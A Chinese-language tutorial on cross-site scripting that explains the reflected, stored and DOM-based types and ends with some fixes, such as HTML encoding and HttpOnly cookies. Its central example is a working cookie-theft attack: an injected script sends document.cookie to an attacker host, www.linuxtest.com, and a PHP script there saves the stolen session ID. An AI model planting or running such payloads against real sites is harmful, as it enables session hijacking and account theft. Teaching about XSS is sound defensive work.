Xss和Csrf介绍

Xss

Xss（跨站脚本攻击），全称Cross Site Scripting，恶意攻击者向web页面中植入恶意js代码，当用户浏览到该页时，植入的代码被执行，达到恶意攻击用户的目的。

Xss攻击的危害

盗取各类用户账号

窃取有商业价值的资料

非法转账操作

强制发送电子邮件

控制受害者机器向其它网站发起攻击

等等...

原因分析

原因：没有对客户端提交的数据进行校验分析，导致恶意代码被植入。

根本解决：不要相信任何客户端提交的任何数据！！！

Xss攻击的分类

反射型Xss攻击

存贮型Xss攻击

DOMBasedXSS

反射型Xss攻击

又称为非持久性跨站点脚本攻击，它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。

正常发送消息：

http://www.test.com/message.php?send=Hello,World！

接收者将会接收信息并显示Hello,Word

非正常发送消息：

http://www.test.com/message.php?send=<script>alert("foolish!")</script>

接收者接收消息显示的时候将会弹出警告窗口。

存贮型xss攻击

又称持久性Xss攻击，存贮型Xss的攻击代码一般存储在网站的数据库中，每当用户打开网站时被执行，因此危害更大。

举个栗子：

一个简单的留言板功能，表单提交域如下，

<input type="text" name="content" value="这里是用户填写的数据">

攻击者在value填写

<script>alert('foolish!')</script>

【或者html其他标签（破坏样式。。。）、一段攻击型代码】，这些代码便被提交到了数据库中，其他用户取出数据显示的时候，将会执行这些攻击性代码。

DOMBasedXSS（基于Dom的跨站点脚本攻击）

当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时，就有可能产生这种漏洞，从效果上来说它也是反射型XSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location或document.URL或document.referrer获取数据（或者任何其他攻击者可以修改的对象），所以应该避免直接从document.location或document.URL或document.referrer获取数据。

举个栗子：

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system

…

</HTML>

非正常操作：

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

使用Xss攻击来盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单，xss.html：

<!DOCTYPE html>

<html>

<head>

    <title>xss攻击</title>

    <meta charset="utf-8">

</head>

<body>

<form action="./test99.php" method="post">

留言：<input type="text" name="content" value=""><br/>

<input type="submit" name="" value='提交'>

</form>

<br/>留言记录：<br/>

</body>

</html>

3、恶意攻击者提交表单时，插入相应代码：

<script>

var Str=document.cookie;               //获取cookie

var a =document.createElement('a');        //创建a标签

a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机

a.innerHTML="<img src='./aa.jpg'>";        //掩护图片

document.body.appendChild(a);              //将标签添加到页面中

</script>

4、数据（攻击代码）插入数据库

5、攻击者控制的主机中设置接收盗取的cookie：

<?php

header("content-type:text/html;charset=utf8");

echo "你的PHPSESSID被盗啦";

echo "<pre>";

print_r($_GET);

echo "</pre>";

$cookie=$_GET['PHPSESSID'];

file_put_contents('./xss.txt', $cookie);

?>

Xss漏洞的修复

HTML Encode

将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了

规定表单数据值的类型，比如年龄int、姓名int+string

过滤或移除特殊的Html标签

过滤JavaScript 事件的标签

HTML Encode对应关系表：